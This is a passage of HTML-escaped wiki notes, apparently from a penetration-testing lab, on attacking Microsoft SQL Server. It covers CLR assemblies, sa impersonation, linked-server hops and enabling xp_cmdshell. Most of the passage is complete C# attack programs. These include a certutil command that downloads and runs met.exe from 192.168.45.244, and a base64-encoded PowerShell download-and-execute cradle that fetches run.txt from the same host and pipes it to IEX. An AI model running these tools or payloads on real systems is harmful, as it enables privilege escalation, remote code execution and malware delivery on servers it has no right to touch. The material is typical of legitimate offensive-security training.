        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String execCmd = &amp;quot;EXEC sp_linkedservers;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(execCmd, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Querying Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Since we know from the enumeration above that &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked to &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; we can query the linked SQL server&lt;br /&gt;
&lt;br /&gt;
* This will print the version of the linked SQL Server.&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of double quotes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Point 2: Querying Linked Servers using OPENQUERY&lt;br /&gt;
            String queryCmd = &amp;quot;SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&amp;quot;;&lt;br /&gt;
            SqlCommand queryCommand = new SqlCommand(queryCmd, con);&lt;br /&gt;
            SqlDataReader queryReader = queryCommand.ExecuteReader();&lt;br /&gt;
            while (queryReader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server version: &amp;quot; + queryReader[0]);&lt;br /&gt;
            }&lt;br /&gt;
            queryReader.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Executing Commands on Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
* Use the AT keyword to specify the linked server.&lt;br /&gt;
&lt;br /&gt;
* Example: &amp;lt;code&amp;gt;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT DC01&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Ensure correct escaping of single quotes in SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            // Enable &#039;show advanced options&#039; through DC01&lt;br /&gt;
            String execCmd = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand execCommand = new SqlCommand(execCmd, con);&lt;br /&gt;
            execCommand.ExecuteNonQuery();&lt;br /&gt;
            // Check if &amp;quot;show advanced options&amp;quot; is enabled on DC01 using OPENQUERY&lt;br /&gt;
            String checkCmd = &amp;quot;SELECT value_in_use FROM OPENQUERY(DC01, &#039;SELECT value_in_use FROM sys.configurations WHERE name = &#039;&#039;show advanced options);&amp;quot;;&lt;br /&gt;
            SqlCommand checkCommand = new SqlCommand(checkCmd, con);&lt;br /&gt;
            int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());&lt;br /&gt;
            if (valueInUse == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Command executed successfully: &#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is not enabled on DC01.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            String enablexpcmdshell = &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);&lt;br /&gt;
            enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.244/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
            //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
            //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
            //$EncodedText&lt;br /&gt;
            string execmd = &amp;quot;EXEC (&#039;xp_cmdshell &#039;&#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01&amp;quot;;&lt;br /&gt;
            SqlCommand runthis = new SqlCommand(execmd, con);&lt;br /&gt;
            runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.&lt;br /&gt;
&lt;br /&gt;
* If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.&lt;br /&gt;
&lt;br /&gt;
* Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.&lt;br /&gt;
&lt;br /&gt;
To enumerate if the linked SQL server has another link, we can use the code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            while (reader.Read())&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0].ToString());&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will use &amp;lt;code&amp;gt;OpenQuery&amp;lt;/code&amp;gt; twice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
String query = &amp;quot;select mylogin from openquery(\&amp;quot;dc01\&amp;quot;, &#039;select mylogin from openquery(\&amp;quot;appsrv01\&amp;quot;, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
while (reader.Read())&lt;br /&gt;
{&lt;br /&gt;
    Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0].ToString());&lt;br /&gt;
}&lt;br /&gt;
reader.Close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Code Exection&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Using the code below will give us code execution on &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; through &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; as the &amp;lt;code&amp;gt;sa&amp;lt;/code&amp;gt; user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static string sqlServer = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
        static string database = &amp;quot;master&amp;quot;;&lt;br /&gt;
        static string conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                ListLinkedServers(con);&lt;br /&gt;
                DisplayCurrentLoginThroughDC01(con);&lt;br /&gt;
                DisplayCurrentLoginLocal(con);&lt;br /&gt;
                EnableAdvancedOptionsOnBothServers(con);&lt;br /&gt;
                EnableXpCmdShellOnBothServers(con);&lt;br /&gt;
                ExecutePayloadOnAppsrv01ThroughDC01(con);&lt;br /&gt;
                con.Close();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static void ListLinkedServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;EXEC (&#039;sp_linkedservers&#039;) AT DC01;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Linked SQL server: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginThroughDC01(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            string query = &amp;quot;select mylogin from openquery(dc01, &#039;select mylogin from openquery(appsrv01, &#039;&#039;select SYSTEM_USER as mylogin&#039;&#039;)&#039;)&amp;quot;;&lt;br /&gt;
            ExecuteReader(con, query, reader =&amp;gt; Console.WriteLine(&amp;quot;Login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void DisplayCurrentLoginLocal(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteReader(con, &amp;quot;SELECT SYSTEM_USER;&amp;quot;, reader =&amp;gt; Console.WriteLine(&amp;quot;Executing as login: &amp;quot; + reader[0]));&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableAdvancedOptionsOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;DC01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on DC01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on DC01.&amp;quot;);&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE;&amp;quot;);&lt;br /&gt;
            if (CheckIfOptionEnabled(con, &amp;quot;appsrv01&amp;quot;, &amp;quot;show advanced options&amp;quot;))&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is enabled on appsrv01.&amp;quot;);&lt;br /&gt;
            else&lt;br /&gt;
                Console.WriteLine(&amp;quot;&#039;show advanced options&#039; is NOT enabled on appsrv01.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        static void EnableXpCmdShellOnBothServers(SqlConnection con)&lt;br /&gt;
        {&lt;br /&gt;
            // Enable xp_cmdshell on appsrv01 through DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;EXEC(&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT appsrv01&#039;) AT dc01&amp;quot;);&lt;br /&gt;
            // Enable xp_cmdshell on DC01&lt;br /&gt;
            ExecuteNonQuery(con, &amp;quot;EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&amp;quot;);&lt;br /&gt;
